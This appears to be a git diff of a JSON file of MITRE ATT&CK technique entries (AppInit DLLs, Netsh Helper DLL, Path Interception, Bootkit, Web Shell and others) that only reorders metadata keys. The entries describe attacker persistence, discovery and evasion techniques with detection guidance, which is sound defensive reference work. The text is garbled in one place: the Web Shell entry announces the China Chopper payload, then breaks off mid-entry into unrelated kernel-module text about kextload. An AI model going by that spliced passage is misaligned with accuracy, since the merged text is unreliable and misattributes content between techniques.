current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later",
- "value": "AppInit DLLs - T1103",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1103",
- "https://support.microsoft.com/en-us/kb/197571",
- "https://msdn.microsoft.com/en-us/library/dn280412",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
- ],
"external_id": "T1103",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -3951,17 +3942,21 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1103",
+ "https://support.microsoft.com/en-us/kb/197571",
+ "https://msdn.microsoft.com/en-us/library/dn280412",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
- "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41"
+ "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41",
+ "value": "AppInit DLLs - T1103"
},
{
"description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Mike Kemmerer",
- "value": "Browser Bookmark Discovery - T1217",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1217"
- ],
"external_id": "T1217",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -3976,19 +3971,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1217"
]
},
- "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7"
+ "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7",
+ "value": "Browser Bookmark Discovery - T1217"
},
{
"description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nRequires Network: Yes",
- "value": "Standard Non-Application Layer Protocol - T1095",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1095",
- "http://support.microsoft.com/KB/170292",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1095",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -3997,20 +3990,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1095",
+ "http://support.microsoft.com/KB/170292",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b"
+ "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "value": "Standard Non-Application Layer Protocol - T1095"
},
{
"description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward",
- "value": "Netsh Helper DLL - T1128",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1128",
- "https://technet.microsoft.com/library/bb490939.aspx",
- "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
- "https://github.com/outflankbv/NetshHelperBeacon"
- ],
"external_id": "T1128",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -4022,20 +4014,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1128",
+ "https://technet.microsoft.com/library/bb490939.aspx",
+ "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
+ "https://github.com/outflankbv/NetshHelperBeacon"
]
},
- "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2"
+ "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
+ "value": "Netsh Helper DLL - T1128"
},
{
"description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, API monitoring, Windows event logs, Packet capture\n\nPermissions Required: Administrator",
- "value": "Account Manipulation - T1098",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1098",
- "https://docs.microsoft.com/windows/device-security/auditing/event-4738",
- "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
- "https://github.com/gentilkiwi/mimikatz/issues/92"
- ],
"external_id": "T1098",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -4048,35 +4040,38 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1098",
+ "https://docs.microsoft.com/windows/device-security/auditing/event-4738",
+ "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
+ "https://github.com/gentilkiwi/mimikatz/issues/92"
]
},
- "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27"
+ "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
+ "value": "Account Manipulation - T1098"
},
{
"description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: macOS\n\nPermissions Required: User",
- "value": "Re-opened Applications - T1164",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1164",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
- ],
"external_id": "T1164",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1164",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
- "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300"
+ "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300",
+ "value": "Re-opened Applications - T1164"
},
{
"description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Remote System Discovery - T1018",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1018"
- ],
"external_id": "T1018",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -4091,17 +4086,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1018"
]
},
- "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735"
+ "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "value": "Remote System Discovery - T1018"
},
{
"description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are net group /domain and net localgroup using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
- "value": "Permission Groups Discovery - T1069",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1069"
- ],
"external_id": "T1069",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -4115,20 +4110,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1069"
]
},
- "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce"
+ "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
+ "value": "Permission Groups Discovery - T1069"
},
{
"description": "Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.\n\nDetection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
- "value": "Indirect Command Execution - T1202",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1202",
- "https://twitter.com/vector%20sec/status/896049052642533376",
- "https://twitter.com/Evi1cg/status/935027922397573120",
- "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe"
- ],
"external_id": "T1202",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -4140,18 +4132,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1202",
+ "https://twitter.com/vector%20sec/status/896049052642533376",
+ "https://twitter.com/Evi1cg/status/935027922397573120",
+ "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe"
]
},
- "uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e"
+ "uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
+ "value": "Indirect Command Execution - T1202"
},
{
"description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
- "value": "File Deletion - T1107",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1107",
- "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
- ],
"external_id": "T1107",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -4165,24 +4159,18 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1107",
+ "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
]
},
- "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59"
+ "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+ "value": "File Deletion - T1107"
},
{
"description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
- "value": "Path Interception - T1034",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1034",
- "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
- "http://support.microsoft.com/KB/103000",
- "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
- "http://msdn.microsoft.com/en-us/library/ms682425",
- "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
- "http://msdn.microsoft.com/en-us/library/ms687393",
- "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx"
- ],
"external_id": "T1034",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -4194,19 +4182,24 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1034",
+ "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
+ "http://support.microsoft.com/KB/103000",
+ "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
+ "http://msdn.microsoft.com/en-us/library/ms682425",
+ "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
+ "http://msdn.microsoft.com/en-us/library/ms687393",
+ "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx"
]
},
- "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02"
+ "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02",
+ "value": "Path Interception - T1034"
},
{
"description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM",
- "value": "Bootkit - T1067",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1067",
- "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
- "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf"
- ],
"external_id": "T1067",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -4219,17 +4212,19 @@
"mitre_platforms": [
"Linux",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1067",
+ "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
+ "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf"
]
},
- "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d"
+ "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d",
+ "value": "Bootkit - T1067"
},
{
"description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
- "value": "Indicator Removal on Host - T1070",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1070"
- ],
"external_id": "T1070",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -4243,17 +4238,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1070"
]
},
- "uuid": "799ace7f-e227-4411-baa0-8868704f2a69"
+ "uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
+ "value": "Indicator Removal on Host - T1070"
},
{
"description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
- "value": "Exfiltration Over Other Network Medium - T1011",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1011"
- ],
"external_id": "T1011",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -4266,17 +4261,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1011"
]
},
- "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87"
+ "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
+ "value": "Exfiltration Over Other Network Medium - T1011"
},
{
"description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories",
- "value": "Data from Local System - T1005",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1005"
- ],
"external_id": "T1005",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -4290,19 +4285,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1005"
]
},
- "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5"
+ "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "value": "Data from Local System - T1005"
},
{
"description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\nkextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)\n\nDetection: LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly. \nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: root\n\nContributors: Jeremy Galloway, Red Canary",
- "value": "Kernel Modules and Extensions - T1215",
"meta": {
+ "external_id": "T1215",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
+ "mitre_data_sources": [
+ "System calls",
+ "Process Monitoring",
+ "Process command-line parameters"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "macOS"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1215",
"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
@@ -4341,33 +4352,14 @@
"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
"https://en.wikipedia.org/wiki/Loadable%20kernel%20module#Linux",
"http://tldp.org/HOWTO/Module-HOWTO/x197.html"
- ],
- "external_id": "T1215",
- "kill_chain": [
- "mitre-attack:enterprise-attack:persistence"
- ],
- "mitre_data_sources": [
- "System calls",
- "Process Monitoring",
- "Process command-line parameters"
- ],
- "mitre_platforms": [
- "Linux",
